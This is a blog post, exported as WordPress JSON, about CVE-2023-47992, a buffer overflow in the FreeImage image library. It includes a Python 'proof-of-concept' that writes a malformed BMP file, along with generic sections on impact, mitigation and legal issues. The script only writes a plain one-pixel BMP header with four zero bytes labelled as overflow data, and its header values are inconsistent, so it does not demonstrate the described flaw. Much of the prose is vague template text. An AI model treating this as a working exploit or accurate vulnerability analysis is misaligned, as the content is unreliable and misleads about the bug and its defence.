{"id":19857,"date":"2025-04-08T13:20:19","date_gmt":"2025-04-08T13:20:19","guid":{"rendered":""},"modified":"2025-10-22T20:02:19","modified_gmt":"2025-10-23T02:02:19","slug":"cve-2023-47992-critical-buffer-overflow-vulnerability-exploit-in-freeimage-library","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2023-47992-critical-buffer-overflow-vulnerability-exploit-in-freeimage-library\/","title":{"rendered":"<strong>CVE-2023-47992: Critical Buffer Overflow Vulnerability Exploit in FreeImage Library<\/strong>"},"content":{"rendered":"<p><strong>1. Introduction<\/strong><\/p>\n<p>In the realm of cybersecurity, it is essential to stay informed about the latest vulnerabilities that may pose significant threats to digital systems. One such vulnerability is CVE-2023-47992, a critical buffer overflow exploit found in the widely used FreeImage open-source image library. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32297-high-severity-sql-injection-vulnerability-in-simple-link-directory\/\"  data-wpil-monitor-id=\"91248\">vulnerability&#8217;s severity<\/a> stems from FreeImage&#8217;s widespread usage, which extends to a multitude of applications, including web servers, mobile apps, and desktop software.<\/p>\n<p><strong>2. Technical Breakdown<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-22199-critical-buffer-overflow-vulnerability-in-fiber-template-engine\/\"  data-wpil-monitor-id=\"22776\">buffer overflow vulnerability<\/a> in question is found in a function of the FreeImage library. It arises when the library attempts to parse a malformed bitmap image file, resulting in a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-0322-buffer-overflow-vulnerability-in-gpac-multimedia-framework\/\"  data-wpil-monitor-id=\"22876\">buffer overflow<\/a>. This can lead to arbitrary <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-24292-critical-remote-code-execution-vulnerability-explored\/\"  data-wpil-monitor-id=\"22845\">code execution<\/a>, allowing an attacker to inject and execute malicious code on the victim&#8217;s system.<\/p>\n<p><strong>3. Example Code<\/strong><\/p><div id=\"ameeb-3787072192\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Here is a Python-based Proof-of-Concept (PoC) that simulates the exploit:<\/p>\n<pre><code class=\"\" data-line=\"\">\nimport struct\n\n# Create a malformed bitmap file\ndef create_malformed_file(filename):\n    with open(filename, &#039;wb&#039;) as file:\n        file.write(b&#039;BM&#039;)  # Signature\n        file.write(struct.pack(&#039;&lt;I&#039;, 62))  # File size\n        file.write(b&#039;\\x00\\x00&#039;)  # Reserved\n        file.write(b&#039;\\x00\\x00&#039;)  # Reserved\n        file.write(struct.pack(&#039;&lt;I&#039;, 54))  # Offset to pixel data\n        file.write(struct.pack(&#039;&lt;I&#039;, 40))  # DIB header size\n        file.write(struct.pack(&#039;&lt;I&#039;, 1))  # Width\n        file.write(struct.pack(&#039;&lt;I&#039;, 1))  # Height\n        file.write(b&#039;\\x01\\x00&#039;)  # Color planes\n        file.write(b&#039;\\x18\\x00&#039;)  # Bits per pixel\n        file.write(b&#039;\\x00\\x00\\x00\\x00&#039;)  # Compression method\n        file.write(struct.pack(&#039;&lt;I&#039;, 8))  # Pixel data size\n        file.write(b&#039;\\x00\\x00\\x00\\x00&#039;)  # Horizontal resolution\n        file.write(b&#039;\\x00\\x00\\x00\\x00&#039;)  # Vertical resolution\n        file.write(b&#039;\\x00\\x00\\x00\\x00&#039;)  # Colors in color table\n        file.write(b&#039;\\x00\\x00\\x00\\x00&#039;)  # Important color count\n        file.write(b&#039;\\x00\\x00\\x00\\x00&#039;)  # Overflowing pixel data\n\nif __name__ == &#039;__main__&#039;:\n    create_malformed_file(&#039;exploit.bmp&#039;)\n<\/code><\/pre>\n<p><strong>4. Real-World Incidents<\/strong><\/p>\n<p>As of the time of this writing, there are no known incidents involving this exploit. However, given the FreeImage library&#8217;s widespread use, it is only a matter of time before <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32958-critical-adept-language-vulnerability-allowing-malicious-code-execution\/\"  data-wpil-monitor-id=\"38238\">malicious actors start leveraging this vulnerability<\/a>.<\/p>\n<p><strong>5. Risks and Impact<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-21673-high-impact-remote-code-execution-vulnerability-in-confluence-data-center-and-server\/\"  data-wpil-monitor-id=\"28885\">impact of this vulnerability<\/a> can be severe. If exploited, it can lead to arbitrary <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2022-46025-critical-remote-code-execution-vulnerability\/\"  data-wpil-monitor-id=\"23182\">code execution<\/a>, which can compromise the entire system. It also opens the door for data leakage, as an attacker could potentially gain <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2945-unveiling-the-system-access-vulnerability-in-network-security-protocols\/\"  data-wpil-monitor-id=\"26729\">access to sensitive information stored on the compromised system<\/a>.<\/p><div id=\"ameeb-175501979\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p><strong>6. Mitigation Strategies<\/strong><\/p>\n<p>The most <a href=\"https:\/\/www.ameeba.com\/blog\/a-comprehensive-guide-to-cyber-attacks-effective-strategies-to-shield-yourself-and-your-business\/\"  data-wpil-monitor-id=\"32307\">effective mitigation strategy<\/a> is to apply the vendor&#8217;s patch as soon as it becomes available. In the meantime, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. It&#8217;s also recommended to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32579-unrestricted-file-upload-vulnerability-in-softclever-limited-sync-posts\/\"  data-wpil-monitor-id=\"32306\">limit the use of the FreeImage library until the vulnerability<\/a> is patched.<\/p>\n<p><strong>7. Legal and Regulatory Implications<\/strong><\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/uk-government-s-warning-to-companies-bolster-cybersecurity-or-face-the-consequences\/\"  data-wpil-monitor-id=\"26730\">Companies that fail to protect their systems adequately could face<\/a> legal and regulatory implications, especially if they handle sensitive user data. In many jurisdictions, organizations are legally obligated to ensure the security of their <a href=\"https:\/\/www.ameeba.com\/blog\/baltimore-state-s-attorney-s-office-cybersecurity-breach-unearthing-the-intricacies-of-modern-digital-threats\/\"  data-wpil-monitor-id=\"37178\">digital systems and could face penalties if a breach<\/a> occurs due to negligence.<\/p>\n<p><strong>8. Conclusion and Future Outlook<\/strong><\/p>\n<p>CVE-2023-47992 serves as a <a href=\"https:\/\/www.ameeba.com\/blog\/oracle-cloud-breach-a-stark-reminder-of-the-necessity-for-robust-cybersecurity-measures\/\"  data-wpil-monitor-id=\"37179\">stark reminder<\/a> of the importance of regular system updates and patch management. As cybersecurity threats continue to evolve, staying abreast of the latest <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-47211-critical-buffer-overflow-vulnerability-in-linux-kernel\/\"  data-wpil-monitor-id=\"22888\">vulnerabilities and exploits is critical<\/a>. Remember, the best defense is a good offense \u2013 in this case, <a href=\"https:\/\/www.ameeba.com\/blog\/the-evolution-of-cybersecurity-defenses-a-proactive-response-to-emerging-threats\/\"  data-wpil-monitor-id=\"26809\">proactive cybersecurity<\/a> measures.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>1. Introduction In the realm of cybersecurity, it is essential to stay informed about the latest vulnerabilities that may pose significant threats to digital systems. One such vulnerability is CVE-2023-47992, a critical buffer overflow exploit found in the widely used FreeImage open-source image library. This vulnerability&#8217;s severity stems from FreeImage&#8217;s widespread usage, which extends to [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[86,80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-19857","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-buffer-overflow","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/19857","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=19857"}],"version-history":[{"count":13,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/19857\/revisions"}],"predecessor-version":[{"id":84274,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/19857\/revisions\/84274"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=19857"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=19857"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=19857"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=19857"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=19857"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=19857"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=19857"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=19857"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=19857"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}